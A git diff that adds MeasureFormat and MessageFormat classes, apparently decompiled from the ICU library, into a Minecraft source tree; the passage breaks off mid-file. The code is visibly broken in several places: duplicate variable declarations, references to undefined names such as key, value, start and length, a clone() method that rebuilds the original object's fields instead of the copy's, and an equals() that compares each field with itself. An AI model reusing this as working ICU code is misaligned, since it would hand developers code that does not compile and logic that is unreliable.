diff --git a/src/minecraft/com/ibm/icu/text/MeasureFormat.java b/src/minecraft/com/ibm/icu/text/MeasureFormat.java
new file mode 100644
index 0000000..b005dc3
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/text/MeasureFormat.java
@@ -0,0 +1,58 @@
+package com.ibm.icu.text;
+
+import com.ibm.icu.util.ULocale;
+import com.ibm.icu.util.ULocale.Category;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract class MeasureFormat
+  extends UFormat
+{
+  static final long serialVersionUID = -7182021401701778240L;
+  
+  /**
+   * @deprecated
+   */
+  protected MeasureFormat() {}
+  
+  public static MeasureFormat getCurrencyFormat(ULocale locale)
+  {
+    return new CurrencyFormat(locale);
+  }
+  
+
+
+
+
+
+
+  public static MeasureFormat getCurrencyFormat()
+  {
+    return getCurrencyFormat(ULocale.getDefault(ULocale.Category.FORMAT));
+  }
+}
diff --git a/src/minecraft/com/ibm/icu/text/MessageFormat.java b/src/minecraft/com/ibm/icu/text/MessageFormat.java
new file mode 100644
index 0000000..e0abceb
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/text/MessageFormat.java
@@ -0,0 +1,2516 @@
+package com.ibm.icu.text;
+
+import com.ibm.icu.impl.PatternProps;
+import com.ibm.icu.impl.Utility;
+import com.ibm.icu.util.ULocale;
+import com.ibm.icu.util.ULocale.Category;
+import java.io.IOException;
+import java.io.InvalidObjectException;
+import java.io.ObjectInputStream;
+import java.io.ObjectOutputStream;
+import java.text.AttributedCharacterIterator;
+import java.text.AttributedCharacterIterator.Attribute;
+import java.text.AttributedString;
+import java.text.CharacterIterator;
+import java.text.ChoiceFormat;
+import java.text.FieldPosition;
+import java.text.Format;
+import java.text.Format.Field;
+import java.text.ParseException;
+import java.text.ParsePosition;
+import java.util.ArrayList;
+import java.util.Date;
+import java.util.HashMap;
+import java.util.HashSet;
+import java.util.Iterator;
+import java.util.List;
+import java.util.Locale;
+import java.util.Map;
+import java.util.Map.Entry;
+import java.util.Set;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class MessageFormat
+  extends UFormat
+{
+  static final long serialVersionUID = 7136212545847378652L;
+  private transient ULocale ulocale;
+  private transient MessagePattern msgPattern;
+  private transient Map<Integer, Format> cachedFormatters;
+  private transient Set<Integer> customFormatArgStarts;
+  private transient Format stockDateFormatter;
+  private transient Format stockNumberFormatter;
+  private transient PluralSelectorProvider pluralProvider;
+  private transient PluralSelectorProvider ordinalProvider;
+  
+  public MessageFormat(String pattern)
+  {
+    ulocale = ULocale.getDefault(ULocale.Category.FORMAT);
+    applyPattern(pattern);
+  }
+  
+
+
+
+
+
+
+
+
+
+  public MessageFormat(String pattern, Locale locale)
+  {
+    this(pattern, ULocale.forLocale(locale));
+  }
+  
+
+
+
+
+
+
+
+
+
+  public MessageFormat(String pattern, ULocale locale)
+  {
+    ulocale = locale;
+    applyPattern(pattern);
+  }
+  
+
+
+
+
+
+
+
+
+  public void setLocale(Locale locale)
+  {
+    setLocale(ULocale.forLocale(locale));
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  public void setLocale(ULocale locale)
+  {
+    String existingPattern = toPattern();
+    ulocale = locale;
+    
+
+    stockNumberFormatter = (this.stockDateFormatter = null);
+    pluralProvider = null;
+    ordinalProvider = null;
+    applyPattern(existingPattern);
+  }
+  
+
+
+
+
+
+  public Locale getLocale()
+  {
+    return ulocale.toLocale();
+  }
+  
+
+
+
+
+
+  public ULocale getULocale()
+  {
+    return ulocale;
+  }
+  
+
+
+
+
+
+
+
+
+  public void applyPattern(String pttrn)
+  {
+    try
+    {
+      if (msgPattern == null) {
+        msgPattern = new MessagePattern(pttrn);
+      } else {
+        msgPattern.parse(pttrn);
+      }
+      
+      cacheExplicitFormats();
+    } catch (RuntimeException e) {
+      resetPattern();
+      throw e;
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public void applyPattern(String pattern, MessagePattern.ApostropheMode aposMode)
+  {
+    if (msgPattern == null) {
+      msgPattern = new MessagePattern(aposMode);
+    } else if (aposMode != msgPattern.getApostropheMode()) {
+      msgPattern.clearPatternAndSetApostropheMode(aposMode);
+    }
+    applyPattern(pattern);
+  }
+  
+
+
+
+
+  public MessagePattern.ApostropheMode getApostropheMode()
+  {
+    if (msgPattern == null) {
+      msgPattern = new MessagePattern();
+    }
+    return msgPattern.getApostropheMode();
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+  public String toPattern()
+  {
+    if (customFormatArgStarts != null) {
+      throw new IllegalStateException("toPattern() is not supported after custom Format objects have been set via setFormat() or similar APIs");
+    }
+    
+
+    if (msgPattern == null) {
+      return "";
+    }
+    String originalPattern = msgPattern.getPatternString();
+    return originalPattern == null ? "" : originalPattern;
+  }
+  
+
+
+
+  private int nextTopLevelArgStart(int partIndex)
+  {
+    if (partIndex != 0) {
+      partIndex = msgPattern.getLimitPartIndex(partIndex);
+    }
+    for (;;) {
+      MessagePattern.Part.Type type = msgPattern.getPartType(++partIndex);
+      if (type == MessagePattern.Part.Type.ARG_START) {
+        return partIndex;
+      }
+      if (type == MessagePattern.Part.Type.MSG_LIMIT) {
+        return -1;
+      }
+    }
+  }
+  
+  private boolean argNameMatches(int partIndex, String argName, int argNumber) {
+    MessagePattern.Part part = msgPattern.getPart(partIndex);
+    return part.getValue() == argNumber ? true : part.getType() == MessagePattern.Part.Type.ARG_NAME ? msgPattern.partSubstringMatches(part, argName) : false;
+  }
+  
+
+  private String getArgName(int partIndex)
+  {
+    MessagePattern.Part part = msgPattern.getPart(partIndex);
+    if (part.getType() == MessagePattern.Part.Type.ARG_NAME) {
+      return msgPattern.getSubstring(part);
+    }
+    return Integer.toString(part.getValue());
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public void setFormatsByArgumentIndex(Format[] newFormats)
+  {
+    if (msgPattern.hasNamedArguments()) {
+      throw new IllegalArgumentException("This method is not available in MessageFormat objects that use alphanumeric argument names.");
+    }
+    
+
+    for (int partIndex = 0; (partIndex = nextTopLevelArgStart(partIndex)) >= 0;) {
+      int argNumber = msgPattern.getPart(partIndex + 1).getValue();
+      if (argNumber < newFormats.length) {
+        setCustomArgStartFormat(partIndex, newFormats[argNumber]);
+      }
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public void setFormatsByArgumentName(Map<String, Format> newFormats)
+  {
+    for (int partIndex = 0; (partIndex = nextTopLevelArgStart(partIndex)) >= 0;) {
+      String key = getArgName(partIndex + 1);
+      if (newFormats.containsKey(key)) {
+        setCustomArgStartFormat(partIndex, (Format)newFormats.get(key));
+      }
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public void setFormats(Format[] newFormats)
+  {
+    int formatNumber = 0;
+    int partIndex = 0;
+    
+    while ((formatNumber < newFormats.length) && ((partIndex = nextTopLevelArgStart(partIndex)) >= 0)) {
+      setCustomArgStartFormat(partIndex, newFormats[formatNumber]);
+      formatNumber++;
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public void setFormatByArgumentIndex(int argumentIndex, Format newFormat)
+  {
+    if (msgPattern.hasNamedArguments()) {
+      throw new IllegalArgumentException("This method is not available in MessageFormat objects that use alphanumeric argument names.");
+    }
+    
+
+    for (int partIndex = 0; (partIndex = nextTopLevelArgStart(partIndex)) >= 0;) {
+      if (msgPattern.getPart(partIndex + 1).getValue() == argumentIndex) {
+        setCustomArgStartFormat(partIndex, newFormat);
+      }
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public void setFormatByArgumentName(String argumentName, Format newFormat)
+  {
+    int argNumber = MessagePattern.validateArgumentName(argumentName);
+    if (argNumber < -1) {
+      return;
+    }
+    for (int partIndex = 0; (partIndex = nextTopLevelArgStart(partIndex)) >= 0;) {
+      if (argNameMatches(partIndex + 1, argumentName, argNumber)) {
+        setCustomArgStartFormat(partIndex, newFormat);
+      }
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public void setFormat(int formatElementIndex, Format newFormat)
+  {
+    int formatNumber = 0;
+    for (int partIndex = 0; (partIndex = nextTopLevelArgStart(partIndex)) >= 0;) {
+      if (formatNumber == formatElementIndex) {
+        setCustomArgStartFormat(partIndex, newFormat);
+        return;
+      }
+      formatNumber++;
+    }
+    throw new ArrayIndexOutOfBoundsException(formatElementIndex);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public Format[] getFormatsByArgumentIndex()
+  {
+    if (msgPattern.hasNamedArguments()) {
+      throw new IllegalArgumentException("This method is not available in MessageFormat objects that use alphanumeric argument names.");
+    }
+    
+
+    ArrayList<Format> list = new ArrayList();
+    for (int partIndex = 0; (partIndex = nextTopLevelArgStart(partIndex)) >= 0;) {
+      int argNumber = msgPattern.getPart(partIndex + 1).getValue();
+      while (argNumber >= list.size()) {
+        list.add(null);
+      }
+      list.set(argNumber, cachedFormatters == null ? null : (Format)cachedFormatters.get(Integer.valueOf(partIndex)));
+    }
+    return (Format[])list.toArray(new Format[list.size()]);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public Format[] getFormats()
+  {
+    ArrayList<Format> list = new ArrayList();
+    for (int partIndex = 0; (partIndex = nextTopLevelArgStart(partIndex)) >= 0;) {
+      list.add(cachedFormatters == null ? null : (Format)cachedFormatters.get(Integer.valueOf(partIndex)));
+    }
+    return (Format[])list.toArray(new Format[list.size()]);
+  }
+  
+
+
+
+
+
+  public Set<String> getArgumentNames()
+  {
+    Set<String> result = new HashSet();
+    for (int partIndex = 0; (partIndex = nextTopLevelArgStart(partIndex)) >= 0;) {
+      result.add(getArgName(partIndex + 1));
+    }
+    return result;
+  }
+  
+
+
+
+
+
+
+  public Format getFormatByArgumentName(String argumentName)
+  {
+    if (cachedFormatters == null) {
+      return null;
+    }
+    int argNumber = MessagePattern.validateArgumentName(argumentName);
+    if (argNumber < -1) {
+      return null;
+    }
+    for (int partIndex = 0; (partIndex = nextTopLevelArgStart(partIndex)) >= 0;) {
+      if (argNameMatches(partIndex + 1, argumentName, argNumber)) {
+        return (Format)cachedFormatters.get(Integer.valueOf(partIndex));
+      }
+    }
+    return null;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public final StringBuffer format(Object[] arguments, StringBuffer result, FieldPosition pos)
+  {
+    format(arguments, null, new AppendableWrapper(result), pos);
+    return result;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public final StringBuffer format(Map<String, Object> arguments, StringBuffer result, FieldPosition pos)
+  {
+    format(null, arguments, new AppendableWrapper(result), pos);
+    return result;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static String format(String pattern, Object... arguments)
+  {
+    MessageFormat temp = new MessageFormat(pattern);
+    return temp.format(arguments);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+  public static String format(String pattern, Map<String, Object> arguments)
+  {
+    MessageFormat temp = new MessageFormat(pattern);
+    return temp.format(arguments);
+  }
+  
+
+
+
+
+
+
+  public boolean usesNamedArguments()
+  {
+    return msgPattern.hasNamedArguments();
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public final StringBuffer format(Object arguments, StringBuffer result, FieldPosition pos)
+  {
+    format(arguments, new AppendableWrapper(result), pos);
+    return result;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public AttributedCharacterIterator formatToCharacterIterator(Object arguments)
+  {
+    if (arguments == null) {
+      throw new NullPointerException("formatToCharacterIterator must be passed non-null object");
+    }
+    
+    StringBuilder result = new StringBuilder();
+    AppendableWrapper wrapper = new AppendableWrapper(result);
+    wrapper.useAttributes();
+    format(arguments, wrapper, null);
+    AttributedString as = new AttributedString(result.toString());
+    for (AttributeAndPosition a : attributes) {
+      as.addAttribute(key, value, start, limit);
+    }
+    return as.getIterator();
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public Object[] parse(String source, ParsePosition pos)
+  {
+    if (msgPattern.hasNamedArguments()) {
+      throw new IllegalArgumentException("This method is not available in MessageFormat objects that use named argument.");
+    }
+    
+
+
+
+    int maxArgId = -1;
+    for (int partIndex = 0; (partIndex = nextTopLevelArgStart(partIndex)) >= 0;) {
+      int argNumber = msgPattern.getPart(partIndex + 1).getValue();
+      if (argNumber > maxArgId) {
+        maxArgId = argNumber;
+      }
+    }
+    Object[] resultArray = new Object[maxArgId + 1];
+    
+    int backupStartPos = pos.getIndex();
+    parse(0, source, pos, resultArray, null);
+    if (pos.getIndex() == backupStartPos) {
+      return null;
+    }
+    
+    return resultArray;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+  public Map<String, Object> parseToMap(String source, ParsePosition pos)
+  {
+    Map<String, Object> result = new HashMap();
+    int backupStartPos = pos.getIndex();
+    parse(0, source, pos, null, result);
+    if (pos.getIndex() == backupStartPos) {
+      return null;
+    }
+    return result;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+  public Object[] parse(String source)
+    throws ParseException
+  {
+    ParsePosition pos = new ParsePosition(0);
+    Object[] result = parse(source, pos);
+    if (pos.getIndex() == 0) {
+      throw new ParseException("MessageFormat parse error!", pos.getErrorIndex());
+    }
+    
+    return result;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  private void parse(int msgStart, String source, ParsePosition pos, Object[] args, Map<String, Object> argsMap)
+  {
+    if (source == null) {
+      return;
+    }
+    String msgString = msgPattern.getPatternString();
+    int prevIndex = msgPattern.getPart(msgStart).getLimit();
+    int sourceOffset = pos.getIndex();
+    ParsePosition tempStatus = new ParsePosition(0);
+    
+    for (int i = msgStart + 1;; i++) {
+      MessagePattern.Part part = msgPattern.getPart(i);
+      MessagePattern.Part.Type type = part.getType();
+      int index = part.getIndex();
+      
+      int len = index - prevIndex;
+      if ((len == 0) || (msgString.regionMatches(prevIndex, source, sourceOffset, len))) {
+        sourceOffset += len;
+        prevIndex += len;
+      } else {
+        pos.setErrorIndex(sourceOffset);
+        return;
+      }
+      if (type == MessagePattern.Part.Type.MSG_LIMIT)
+      {
+        pos.setIndex(sourceOffset);
+        return;
+      }
+      if ((type == MessagePattern.Part.Type.SKIP_SYNTAX) || (type == MessagePattern.Part.Type.INSERT_CHAR)) {
+        prevIndex = part.getLimit();
+      }
+      else
+      {
+        assert (type == MessagePattern.Part.Type.ARG_START) : ("Unexpected Part " + part + " in parsed message.");
+        int argLimit = msgPattern.getLimitPartIndex(i);
+        
+        MessagePattern.ArgType argType = part.getArgType();
+        part = msgPattern.getPart(++i);
+        
+        Object argId = null;
+        int argNumber = 0;
+        String key = null;
+        if (args != null) {
+          argNumber = part.getValue();
+          argId = Integer.valueOf(argNumber);
+        } else {
+          if (part.getType() == MessagePattern.Part.Type.ARG_NAME) {
+            key = msgPattern.getSubstring(part);
+          } else {
+            key = Integer.toString(part.getValue());
+          }
+          argId = key;
+        }
+        
+        i++;
+        Format formatter = null;
+        boolean haveArgResult = false;
+        Object argResult = null;
+        if ((cachedFormatters != null) && ((formatter = (Format)cachedFormatters.get(Integer.valueOf(i - 2))) != null))
+        {
+          tempStatus.setIndex(sourceOffset);
+          argResult = formatter.parseObject(source, tempStatus);
+          if (tempStatus.getIndex() == sourceOffset) {
+            pos.setErrorIndex(sourceOffset);
+            return;
+          }
+          haveArgResult = true;
+          sourceOffset = tempStatus.getIndex();
+        } else if ((argType == MessagePattern.ArgType.NONE) || ((cachedFormatters != null) && (cachedFormatters.containsKey(Integer.valueOf(i - 2)))))
+        {
+
+
+
+
+
+          String stringAfterArgument = getLiteralStringUntilNextArgument(argLimit);
+          int next;
+          int next; if (stringAfterArgument.length() != 0) {
+            next = source.indexOf(stringAfterArgument, sourceOffset);
+          } else {
+            next = source.length();
+          }
+          if (next < 0) {
+            pos.setErrorIndex(sourceOffset);
+            return;
+          }
+          String strValue = source.substring(sourceOffset, next);
+          if (!strValue.equals("{" + argId.toString() + "}")) {
+            haveArgResult = true;
+            argResult = strValue;
+          }
+          sourceOffset = next;
+        }
+        else if (argType == MessagePattern.ArgType.CHOICE) {
+          tempStatus.setIndex(sourceOffset);
+          double choiceResult = parseChoiceArgument(msgPattern, i, source, tempStatus);
+          if (tempStatus.getIndex() == sourceOffset) {
+            pos.setErrorIndex(sourceOffset);
+            return;
+          }
+          argResult = Double.valueOf(choiceResult);
+          haveArgResult = true;
+          sourceOffset = tempStatus.getIndex();
+        } else { if ((argType.hasPluralStyle()) || (argType == MessagePattern.ArgType.SELECT))
+          {
+            throw new UnsupportedOperationException("Parsing of plural/select/selectordinal argument is not supported.");
+          }
+          
+
+          throw new IllegalStateException("unexpected argType " + argType);
+        }
+        if (haveArgResult) {
+          if (args != null) {
+            args[argNumber] = argResult;
+          } else if (argsMap != null) {
+            argsMap.put(key, argResult);
+          }
+        }
+        prevIndex = msgPattern.getPart(argLimit).getLimit();
+        i = argLimit;
+      }
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  public Map<String, Object> parseToMap(String source)
+    throws ParseException
+  {
+    ParsePosition pos = new ParsePosition(0);
+    Map<String, Object> result = new HashMap();
+    parse(0, source, pos, null, result);
+    if (pos.getIndex() == 0) {
+      throw new ParseException("MessageFormat parse error!", pos.getErrorIndex());
+    }
+    
+    return result;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public Object parseObject(String source, ParsePosition pos)
+  {
+    if (!msgPattern.hasNamedArguments()) {
+      return parse(source, pos);
+    }
+    return parseToMap(source, pos);
+  }
+  
+
+
+
+
+
+  public Object clone()
+  {
+    MessageFormat other = (MessageFormat)super.clone();
+    
+    if (customFormatArgStarts != null) {
+      customFormatArgStarts = new HashSet();
+      for (Integer key : customFormatArgStarts) {
+        customFormatArgStarts.add(key);
+      }
+    } else {
+      customFormatArgStarts = null;
+    }
+    
+    if (cachedFormatters != null) {
+      cachedFormatters = new HashMap();
+      Iterator<Map.Entry<Integer, Format>> it = cachedFormatters.entrySet().iterator();
+      while (it.hasNext()) {
+        Map.Entry<Integer, Format> entry = (Map.Entry)it.next();
+        cachedFormatters.put(entry.getKey(), entry.getValue());
+      }
+    } else {
+      cachedFormatters = null;
+    }
+    
+    msgPattern = (msgPattern == null ? null : (MessagePattern)msgPattern.clone());
+    stockDateFormatter = (stockDateFormatter == null ? null : (Format)stockDateFormatter.clone());
+    stockNumberFormatter = (stockNumberFormatter == null ? null : (Format)stockNumberFormatter.clone());
+    
+    pluralProvider = null;
+    ordinalProvider = null;
+    return other;
+  }
+  
+
+
+
+
+  public boolean equals(Object obj)
+  {
+    if (this == obj)
+      return true;
+    if ((obj == null) || (getClass() != obj.getClass()))
+      return false;
+    MessageFormat other = (MessageFormat)obj;
+    return (Utility.objectEquals(ulocale, ulocale)) && (Utility.objectEquals(msgPattern, msgPattern)) && (Utility.objectEquals(cachedFormatters, cachedFormatters)) && (Utility.objectEquals(customFormatArgStarts, customFormatArgStarts));
+  }
+  
+
+
+
+
+
+
+
+
+
+  public int hashCode()
+  {
+    return msgPattern.getPatternString().hashCode();
+  }
+  
+
+
+
+
+
+
+  public static class Field
+    extends Format.Field
+  {
+    private static final long serialVersionUID = 7510380454602616157L;
+    
+
+
+
+
+
+
+    protected Field(String name)
+    {
+      super();
+    }
+    
+
+
+
+
+
+
+    protected Object readResolve()
+      throws InvalidObjectException
+    {
+      if (getClass() != Field.class) {
+        throw new InvalidObjectException("A subclass of MessageFormat.Field must implement readResolve.");
+      }
+      
+      if (getName().equals(ARGUMENT.getName())) {
+        return ARGUMENT;
+      }
+      throw new InvalidObjectException("Unknown attribute name.");
+    }
+    
+
+
+
+
+
+
+
+
+
+
+    public static final Field ARGUMENT = new Field("message argument field");
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  private void format(int msgStart, double pluralNumber, Object[] args, Map<String, Object> argsMap, AppendableWrapper dest, FieldPosition fp)
+  {
+    String msgString = msgPattern.getPatternString();
+    int prevIndex = msgPattern.getPart(msgStart).getLimit();
+    for (int i = msgStart + 1;; i++) {
+      MessagePattern.Part part = msgPattern.getPart(i);
+      MessagePattern.Part.Type type = part.getType();
+      int index = part.getIndex();
+      dest.append(msgString, prevIndex, index);
+      if (type == MessagePattern.Part.Type.MSG_LIMIT) {
+        return;
+      }
+      prevIndex = part.getLimit();
+      if (type == MessagePattern.Part.Type.REPLACE_NUMBER) {
+        if (stockNumberFormatter == null) {
+          stockNumberFormatter = NumberFormat.getInstance(ulocale);
+        }
+        dest.formatAndAppend(stockNumberFormatter, Double.valueOf(pluralNumber));
+
+      }
+      else if (type == MessagePattern.Part.Type.ARG_START)
+      {
+
+        int argLimit = msgPattern.getLimitPartIndex(i);
+        MessagePattern.ArgType argType = part.getArgType();
+        part = msgPattern.getPart(++i);
+        
+        String noArg = null;
+        Object argId = null;
+        Object arg; if (args != null) {
+          int argNumber = part.getValue();
+          if (attributes != null)
+          {
+            argId = Integer.valueOf(argNumber); }
+          Object arg;
+          if ((0 <= argNumber) && (argNumber < args.length)) {
+            arg = args[argNumber];
+          } else {
+            Object arg = null;
+            noArg = "{" + argNumber + "}";
+          }
+        } else { String key;
+          String key;
+          if (part.getType() == MessagePattern.Part.Type.ARG_NAME) {
+            key = msgPattern.getSubstring(part);
+          } else {
+            key = Integer.toString(part.getValue());
+          }
+          argId = key;
+          Object arg; if ((argsMap != null) && (argsMap.containsKey(key))) {
+            arg = argsMap.get(key);
+          } else {
+            arg = null;
+            noArg = "{" + key + "}";
+          }
+        }
+        i++;
+        int prevDestLength = length;
+        Format formatter = null;
+        if (noArg != null) {
+          dest.append(noArg);
+        } else if (arg == null) {
+          dest.append("null");
+        } else if ((cachedFormatters != null) && ((formatter = (Format)cachedFormatters.get(Integer.valueOf(i - 2))) != null))
+        {
+          if (((formatter instanceof ChoiceFormat)) || ((formatter instanceof PluralFormat)) || ((formatter instanceof SelectFormat)))
+          {
+
+
+
+            String subMsgString = formatter.format(arg);
+            if ((subMsgString.indexOf('{') >= 0) || ((subMsgString.indexOf('\'') >= 0) && (!msgPattern.jdkAposMode())))
+            {
+              MessageFormat subMsgFormat = new MessageFormat(subMsgString, ulocale);
+              subMsgFormat.format(0, 0.0D, args, argsMap, dest, null);
+            } else if (attributes == null) {
+              dest.append(subMsgString);
+
+
+            }
+            else
+            {
+
+
+              dest.formatAndAppend(formatter, arg);
+            }
+          } else {
+            dest.formatAndAppend(formatter, arg);
+          }
+        } else if ((argType == MessagePattern.ArgType.NONE) || ((cachedFormatters != null) && (cachedFormatters.containsKey(Integer.valueOf(i - 2)))))
+        {
+
+
+
+          if ((arg instanceof Number))
+          {
+            if (stockNumberFormatter == null) {
+              stockNumberFormatter = NumberFormat.getInstance(ulocale);
+            }
+            dest.formatAndAppend(stockNumberFormatter, arg);
+          } else if ((arg instanceof Date))
+          {
+            if (stockDateFormatter == null) {
+              stockDateFormatter = DateFormat.getDateTimeInstance(3, 3, ulocale);
+            }
+            
+            dest.formatAndAppend(stockDateFormatter, arg);
+          } else {
+            dest.append(arg.toString());
+          }
+        } else if (argType == MessagePattern.ArgType.CHOICE) {
+          if (!(arg instanceof Number)) {
+            throw new IllegalArgumentException("'" + arg + "' is not a Number");
+          }
+          double number = ((Number)arg).doubleValue();
+          int subMsgStart = findChoiceSubMessage(msgPattern, i, number);
+          formatComplexSubMessage(subMsgStart, 0.0D, args, argsMap, dest);
+        } else if (argType.hasPluralStyle()) {
+          if (!(arg instanceof Number)) {
+            throw new IllegalArgumentException("'" + arg + "' is not a Number");
+          }
+          double number = ((Number)arg).doubleValue();
+          PluralFormat.PluralSelector selector;
+          PluralFormat.PluralSelector selector; if (argType == MessagePattern.ArgType.PLURAL) {
+            if (pluralProvider == null) {
+              pluralProvider = new PluralSelectorProvider(ulocale, PluralRules.PluralType.CARDINAL);
+            }
+            selector = pluralProvider;
+          } else {
+            if (ordinalProvider == null) {
+              ordinalProvider = new PluralSelectorProvider(ulocale, PluralRules.PluralType.ORDINAL);
+            }
+            selector = ordinalProvider;
+          }
+          int subMsgStart = PluralFormat.findSubMessage(msgPattern, i, selector, number);
+          double offset = msgPattern.getPluralOffset(i);
+          formatComplexSubMessage(subMsgStart, number - offset, args, argsMap, dest);
+        } else if (argType == MessagePattern.ArgType.SELECT) {
+          int subMsgStart = SelectFormat.findSubMessage(msgPattern, i, arg.toString());
+          formatComplexSubMessage(subMsgStart, 0.0D, args, argsMap, dest);
+        }
+        else {
+          throw new IllegalStateException("unexpected argType " + argType);
+        }
+        fp = updateMetaData(dest, prevDestLength, fp, argId);
+        prevIndex = msgPattern.getPart(argLimit).getLimit();
+        i = argLimit;
+      }
+    }
+  }
+  
+
+  private void formatComplexSubMessage(int msgStart, double pluralNumber, Object[] args, Map<String, Object> argsMap, AppendableWrapper dest)
+  {
+    if (!msgPattern.jdkAposMode()) {
+      format(msgStart, pluralNumber, args, argsMap, dest, null);
+      return;
+    }
+    
+
+
+
+
+    String msgString = msgPattern.getPatternString();
+    
+    StringBuilder sb = null;
+    int prevIndex = msgPattern.getPart(msgStart).getLimit();
+    int i = msgStart;
+    for (;;) { MessagePattern.Part part = msgPattern.getPart(++i);
+      MessagePattern.Part.Type type = part.getType();
+      int index = part.getIndex();
+      if (type == MessagePattern.Part.Type.MSG_LIMIT) {
+        if (sb == null) {
+          String subMsgString = msgString.substring(prevIndex, index); break;
+        }
+        String subMsgString = sb.append(msgString, prevIndex, index).toString();
+        
+        break; }
+      if ((type == MessagePattern.Part.Type.REPLACE_NUMBER) || (type == MessagePattern.Part.Type.SKIP_SYNTAX)) {
+        if (sb == null) {
+          sb = new StringBuilder();
+        }
+        sb.append(msgString, prevIndex, index);
+        if (type == MessagePattern.Part.Type.REPLACE_NUMBER) {
+          if (stockNumberFormatter == null) {
+            stockNumberFormatter = NumberFormat.getInstance(ulocale);
+          }
+          sb.append(stockNumberFormatter.format(Double.valueOf(pluralNumber)));
+        }
+        prevIndex = part.getLimit();
+      } else if (type == MessagePattern.Part.Type.ARG_START) {
+        if (sb == null) {
+          sb = new StringBuilder();
+        }
+        sb.append(msgString, prevIndex, index);
+        prevIndex = index;
+        i = msgPattern.getLimitPartIndex(i);
+        index = msgPattern.getPart(i).getLimit();
+        MessagePattern.appendReducedApostrophes(msgString, prevIndex, index, sb);
+        prevIndex = index;
+      } }
+    String subMsgString;
+    if (subMsgString.indexOf('{') >= 0) {
+      MessageFormat subMsgFormat = new MessageFormat("", ulocale);
+      subMsgFormat.applyPattern(subMsgString, MessagePattern.ApostropheMode.DOUBLE_REQUIRED);
+      subMsgFormat.format(0, 0.0D, args, argsMap, dest, null);
+    } else {
+      dest.append(subMsgString);
+    }
+  }
+  
+
+
+
+
+
+
+  private String getLiteralStringUntilNextArgument(int from)
+  {
+    StringBuilder b = new StringBuilder();
+    String msgString = msgPattern.getPatternString();
+    int prevIndex = msgPattern.getPart(from).getLimit();
+    for (int i = from + 1;; i++) {
+      MessagePattern.Part part = msgPattern.getPart(i);
+      MessagePattern.Part.Type type = part.getType();
+      int index = part.getIndex();
+      b.append(msgString, prevIndex, index);
+      if ((type == MessagePattern.Part.Type.ARG_START) || (type == MessagePattern.Part.Type.MSG_LIMIT)) {
+        return b.toString();
+      }
+      
+      assert ((type == MessagePattern.Part.Type.SKIP_SYNTAX) || (type == MessagePattern.Part.Type.INSERT_CHAR)) : ("Unexpected Part " + part + " in parsed message.");
+      prevIndex = part.getLimit();
+    }
+  }
+  
+  private FieldPosition updateMetaData(AppendableWrapper dest, int prevLength, FieldPosition fp, Object argId)
